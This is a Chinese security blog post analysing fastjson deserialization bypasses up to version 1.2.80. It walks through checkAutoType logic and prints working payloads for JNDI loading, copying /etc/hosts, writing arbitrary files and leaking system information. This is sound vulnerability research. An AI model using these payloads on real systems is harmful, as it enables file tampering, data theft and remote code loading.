Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >从漏洞挖掘角度分析fastjson1.2.80 Bypass

从漏洞挖掘角度分析fastjson1.2.80 Bypass

作者头像
Jayway
发布于 2022-08-30 04:12:19
发布于 2022-08-30 04:12:19
2.8K01
代码可运行
举报
文章被收录于专栏:卓文见识卓文见识
运行总次数:1
代码可运行

1 概念澄清

首先对漏洞原理和其中的两个配置做个简单的澄清:

1.1 关于parse(Object)

Fastjson中parse方法或者parseObject可以将JSON串转化成Java对象,json数据外部可控的情况下可能出现fastjson反序列化漏洞。

1.2 关于AutoType

1)什么是AutoType?

Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的Class类型。

划重点,autotype是为了灵活性而产生的一个特性,通过AutoTypeSupport配置开启。

2)AutoType安全校验

AutoType本身是个正常的业务功能,但如果通过“@type”指定的是不可靠第三方Type类,就可能产生安全风险(自动调用get/set方法/构造方法)。

因此开发者添加了AutoType的黑名单机制,将这些可能产生危害的恶意类统统加入黑名单。

体现在代码中,就是在ParserConfig类中定义了一个denyHashCodes列表,将存在风险的Class的Hash值保存在其中,每次有新的恶意类出现,官方就“亡羊补牢”,将它们添加到这个黑名单列表里,这也是为什么fastjson频繁修复漏洞的原因。

维护了这样一个黑名单列表,在每次执行反序列化前,代码都会先走到方法checkAutoType中,执行检查操作:

计算反序列化类的Hash,如果在denyHashCodes里,就抛出异常"autoType is not support. "

至于为什么要用Hash列表的方式,原本这里使用的是明文黑名单,后来为了防止安全研究者直接看到黑名单对其进行研究改为Hash了,但仍可以通过彩虹表碰撞的方式得到这些hash代表的是哪些类:

1.3 关于SafeMode

Fastjson在1.2.68及之后的版本中引入了safeMode,这是一个纯粹的防护手段

开启safeMode = 不支持autoType = 不允许使用@type = 无法反序列化成任意类。

这个配置从根本上消灭了fastjson反序列化漏洞,从代码也可以看出,只要safemode为true,会直接抛异常,任何绕过的机会都不给。

所以开启了safeMode就一定不存在fastjson反序列化漏洞。

2 漏洞历史总结

不深入技术细节,对fastjson反序列化漏洞做个简单的总结。

2.1 Fastjson1.2.47

在47版本之前,基本是对于checkAutoType中黑名单的绕过和修补,后续AutoType改为默认关闭,因此漏洞利用就有了一个前提条件:需开启AutoTypeSupport,具体细节可参考:

https://paper.seebug.org/1192

直到1.2.47版本,出现了新的利用姿势,无需开启AutoTypeSupport也可利用。

利用过程分两段,通过白名单java.lang.Class,先将目标类加载到Map中缓存,后面加载恶意类时可以直接从这个mappings中取出,从而“另辟蹊径”,完全绕过checkAutoType。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
{
    "rand1": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "rand2": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "ldap://localhost:1389/Object", 
        "autoCommit": true
    }
}

在48版本,禁止了cache的使用,java.lang.Class也被加入了黑名单,这个绕过方法就完全被堵死了,但一定程度上启发了后续68和80版本的绕过思路。

2.1 Fastjson1.2.68

48到68之间版本,依旧是不断的发现新gadget和添加黑名单类,同样需要开启AutoTypeSupport。

到1.2.68版本,再次出现了在autoType关闭的情况下绕过checkAutoType检测的绕过方法,思路和47版本不同,但依旧是与checkAutoType内部逻辑做对抗。

绕过逻辑集中在期望类expectClass中,首先expectClassFlag校验通过前提是传入的expectClass不为空:

且期望类不在黑名单中,同时在缓存集合mappings中,满足这几个条件即可实现绕过:

一般情况下expectClass默认为null,查找传入的参数expectClass不为空的引用,有两个:

  • JavaBeanDeserializer
  • ThrowableDeserializer

1)JavaBeanDeserializer

这是68版本绕过使用的gadget,即java.lang.AutoCloseable作为expectClass,AutoCloseable子类持有文件句柄或者socket句柄,是很多类型的父接口,因此可以找到实现文件读取或写入的gadget。

使用payload运行并下断点,查看堆栈,在DefaultJSONParser#parseObject中调用JavaBeanDeserializer#deserialze执行反序列化动作:

JavaBeanDeserializer是在this.config.getDeserializer被创建的:

跟进,具体逻辑在createJavaBeanDeserializer中:

跟进到JavaBeanInfo.build,这个方法通过反射拿到该类所有的方法存入methods,接下来遍历methods进而获取get、set方法:

同时也看到这里调用的反序列化器是默认的JavaBeanDeserializer:

剩下的就是找AutoCloseable的实现子类,并实现一些恶意利用,比如文件拷贝:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
{ 
  '@type':"java.lang.AutoCloseable",
  '@type':'org.eclipse.core.internal.localstore.SafeFileOutputStream',
  'targetPath':'/Users/fa1c0n/tmp/hosts.txt',
  'tempPath':'/etc/hosts'
  }

或者任意写文件:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
{
    "@type": "java.lang.AutoCloseable",
    "@type": "sun.rmi.server.MarshalOutputStream",
    "out": {
        "@type": "java.util.zip.InflaterOutputStream",
        "out": {
           "@type": "java.io.FileOutputStream",
           "file": "D:/test/pwn.txt",
           "append": true
        },
        "infl": {
           "input": {
               "array": "eJxLLE5JTCkGAAh5AnE=",
               "limit": 14
           }
        },
        "bufLen": "100"
    },
    "protocolVersion": 1
}

运行结果,成功写入文件:

解释一下payload:MarshalOutputStream——>继承ObjectOutputStream——>继承ObjectOutput——>继承AutoCloseable,满足前置条件:

最外层通过AutoCloseable绕过检测,调用MarshalOutputStream调用构造方法:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
{
    "@type": "java.lang.AutoCloseable",
    "@type": "sun.rmi.server.MarshalOutputStream",
    "out": {
            ...
    },
    "protocolVersion": 1
}

第二层,寻找OutputStream子类 ——>FilterOutputStream子类——>InflaterOutputStream:

默认调用参数最多的构造方法:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
"@type": "java.util.zip.InflaterOutputStream",
        "out": {
             ...
        },
        "infl": {
             ...
        },
        "bufLen": "100"

继续跟Inflater和out,其中Inflater存在public的set方法:

这里input可控,即写入文件内容可控:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
"infl": {
           "input": {
               "array": "eJxLLE5JTCkGAAh5AnE=",
               "limit": 14
           }
        },

最后继续找OutputStream的一个子类,使用FileOutputStream:

这样就控制了文件名:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
"out": {
           "@type": "java.io.FileOutputStream",
           "file": "/D:/test/pwn.txt",
           "append": true
        },

2)ThrowableDeserializer

这次利用链使用的则是另外一个gadget:ThrowableDeserializer,实际上早在2020年这条利用链就已经公开,只是没有发现有效的三方依赖作为gadget,没有被官方修复,具体原理文章已经讲得很清楚:

https://mp.weixin.qq.com/s/EXnXCy5NoGIgpFjRGfL3wQ

文章里提供了一个回显情况下的信息泄露gadget,引入selenium依赖,使用下述payload:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
{
    "x":
  {
    "@type":"java.lang.Exception",
     "@type":"org.openqa.selenium.WebDriverException"
  },
 "y":{
    "$ref":"$x.systemInformation"
    }
}

下断点跟踪,调用反序列化器ThrowableDeserializer:

即可获取系统信息,包括IP、系统框架、JDK版本等:

进入这个三方依赖代码看下这个payload为什么可行:

  • 继承Exception
  • 存在getSystemInformation()方法,可获取系统信息

其他利用链的挖掘方法同上面的AutoCloseable一样,是个体力活,尝试跟了几个类,没有找到可用类,坐等poc

3 利用链挖掘

查看官方安全更新,确实是将另一条利用链Throwable直接禁用,同时在黑名单内新增了25个类,那存在RCE的gadget就在其中了,按照上面的逻辑依次找就行,。

说起来容易挖起来难,为了节省时间可以写个CodeQL查询脚本,到LGTM平台的依赖库项目在线跑一遍,脚本逻辑为:

  • source:寻找可利用类,继承Exception类,且存在合适的get/set/构造方法:
  • sink:调用危险方法,如文件读写、信息泄露、JNDI注入等。

留个坑,后面另开一篇。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-05-24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 卓文见识 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
fastjson<=1.2.68 漏洞分析
自2017年3月15日 fastjson 1.2.24版本被爆出反序列化漏洞以来,其就成为了安全人员中的重 点研究对象,即使后来 fastjson 为了安全设置了checkAutoType 防御机制,也依旧没能完全杜 绝新的漏洞产生,结合今日BlackHat 大会上玄武实验室的《How i use json deserialization》 议题,来看看这个漏洞。
p4nda
2023/01/03
1.8K0
fastjson<=1.2.68 漏洞分析
Fastjson小于1.2.68版本反序列化漏洞分析
迟到的Fastjson反序列化漏洞分析,按照国际惯例这次依旧没有放poc。道理还是那个道理,但利用方式多种多样。除了之前放出来用于文件读写的利用方式以外其实还可以用于SSRF。
FB客服
2020/11/16
1.1K0
Fastjson小于1.2.68版本反序列化漏洞分析
Fastjson < 1.2.68版本反序列化漏洞分析篇
点击上方蓝色“程序猿DD”,选择“设为星标” 回复“资源”获取独家整理的学习资料! 作者 | ale_wong@云影实验室 来源 | https://www.anquanke.com/post/id/219731 前言 迟到的Fastjson反序列化漏洞分析,按照国际惯例这次依旧没有放poc。道理还是那个道理,但利用方式多种多样。除了之前放出来用于文件读写的利用方式以外其实还可以用于SSRF。 一、漏洞概述 在之前其他大佬文章中,我们可以看到的利用方式为通过清空指定文件向指定文件写入指定内容(用到第三方
程序猿DD
2023/04/04
1.4K0
Fastjson < 1.2.68版本反序列化漏洞分析篇
Fastjson<=1.2.68 Autotype bypass
本篇文章主要对FastJSON AutoType的校验原理,以及绕过方式进行简单的分析介绍,很多的是学习记录,文章涉及的绕过方式都是"站在巨人的肩膀上"看风景的,很后悔当初去看了Jackson-databind而丢弃了fastJSON,哎....,悔不当初呀,本文涉及的所以测试示例皆以上传到GitHub:
Al1ex
2021/07/21
3.7K0
Fastjson<=1.2.68 Autotype bypass
浅析FastJSON反序列化漏洞(1.2.24——1.2.68)
FastJson 是一个由阿里巴巴研发的java库,可以把java对象转换为JSON格式,也可以把JSON字符串转换为对象。
ConsT27
2022/03/15
17.6K0
浅析FastJSON反序列化漏洞(1.2.24——1.2.68)
Java反序列化(十二) | Fastjson②1.2.24-68总结
介绍什么的就不说了,简介以及1.2.24的复现和详细分析可以看 Java反序列化(十) | Fastjson – CVE-2017-18349
h0cksr
2023/05/17
8960
Java反序列化(十二) | Fastjson②1.2.24-68总结
又遇fastjson漏洞
又是fastjson!又是这家伙!至少经历了2次+这样的场景。我不知道这家伙又得罪了哪位大仙,频繁被“黑”。fastjson到底做错了什么?为什么会被频繁爆出漏洞?但是作为一个技术人(兴趣爱好者),我更关注的是它为什么会频繁被爆漏洞?而其他的Gson却没有。通过对fastjson的releaseNote以及部分源代码进行查阅,发现此现象跟fastjson中的一个AutoType特性有关联。
Luga Lee
2021/12/09
1.2K0
又遇fastjson漏洞
【漏洞复现】Fastjson反序列化
Java 序列化及反序列化处理在基于Java 架构的Web应用中具有尤为重要的作用。例如位于网络两端、彼此不共享内存信息的两个Web应用在进行远程通信时,无论相互间发送何种类型的数据,在网络中实际上都是以二进制序列的形式传输的。为此,发送方必须将要发送的Java 对象序列化为字节流,接收方则需要将字节流再反序列化还原得到Java 对象,才能实现正常通信。当攻击者输入精心构造的字节流被反序列化为恶意对象时,就会造成一系列的安全问题。
李鹏华
2024/03/12
3720
【漏洞复现】Fastjson反序列化
FastJson checkAutoType安全机制研究
在FastJson1.2.25以及之后的版本中,fastjson为了防止autoType这一机制带来的安全隐患,增加了一层名为checkAutoType的检测机制。
Al1ex
2025/01/10
1010
FastJson checkAutoType安全机制研究
从FastJson库的不同版本源码中对比学习绕过方法
更新主要在com.alibaba.fastjson.parser.ParserConfig中。
FB客服
2023/02/10
8320
从FastJson库的不同版本源码中对比学习绕过方法
fastjson远程代码执行漏洞问题分析
fastjson远程代码执行安全漏洞(以下简称RCE漏洞),最早是官方在2017年3月份发出的声明,
用户7634691
2020/08/10
9170
小白都能看懂的JSON反序列化远程命令执行
前言 Fastjson是一个由阿里巴巴维护的一个json库。它采用一种“假定有序快速匹配”的算法,是号称Java中最快的json库。Fastjson接口简单易用,已经被广泛使用在缓存序列化、协议交互
FB客服
2018/04/17
1.7K0
小白都能看懂的JSON反序列化远程命令执行
注意,Fastjson 最新高危漏洞来袭!
2020年05月28日, 360CERT监测发现业内安全厂商发布了Fastjson远程代码执行漏洞的风险通告,漏洞等级:高危
程序员小猿
2021/01/19
8470
fastjson:差点被几个漏洞毁了一世英名
我是 fastjson,是个地地道道的杭州土著,但我始终怀揣着一颗走向全世界的雄心。这不,我在 GitHub 上的简介都换成了英文,国际范十足吧?
沉默王二
2020/12/29
6530
fastjson:差点被几个漏洞毁了一世英名
【高危安全通告】fastjson≤1.2.80反序列化漏洞
该版本涉及autotype行为变更,在某些场景会出现不兼容的情况,如遇遇到问题可以到
JEECG
2022/05/25
1.3K0
Fastjson反序列化漏洞风险通告
亚信安全CERT监控到Fastjson Develop Team发布安全公告,修复了一个存在于Fastjson1.2.80及之前版本中的反序列化漏洞。
xiangzhihong
2022/05/25
9260
麻了!Fastjson 再曝反序列化漏洞
导读:近日 Fastjson Develop Team 发现 fastjson 1.2.80及以下存在新的风险,请关注。
码农架构
2022/06/28
2.9K0
fastjson链分析(1.2.22-47)
前段时间有师傅来问了我fastjson的问题,虽然知道大概但没分析过具体链,最近有空了正好分析一下fastjson两个反序列化链:
HhhM
2022/08/10
5240
fastjson链分析(1.2.22-47)
FastJson渗透测试
fastjson用于将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。fastjson.jar是阿里开发的一款专门用于Java开发的包,可以方便的实现json对象与JavaBean对象的转换,实现JavaBean对象与json字符串的转换,实现json对象与json字符串的转换。除了这个fastjson以外,还有Google开发的Gson包,其他形式的如net.sf.json包,都可以实现json的转换。方法名称不同而已,最后的实现结果都是一样的。
黑白天安全
2021/08/10
1.9K0
麻了!Fastjson 再曝反序列化漏洞。。
点击关注公众号,Java干货及时送达 来源:© Alibaba Fastjson Develop Team github.com/alibaba/fastjson/wiki/security_update_20220523 近日 Fastjson Develop Team 发现 fastjson 1.2.80及以下存在新的风险,请关注。 1. 风险描述 fastjson已使用黑白名单用于防御反序列化漏洞,经研究该利用在特定条件下可绕过默认autoType关闭限制,攻击远程服务器,风险影响较大。 建议f
Java技术栈
2022/05/30
1.4K0
麻了!Fastjson 再曝反序列化漏洞。。
相关推荐
fastjson<=1.2.68 漏洞分析
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验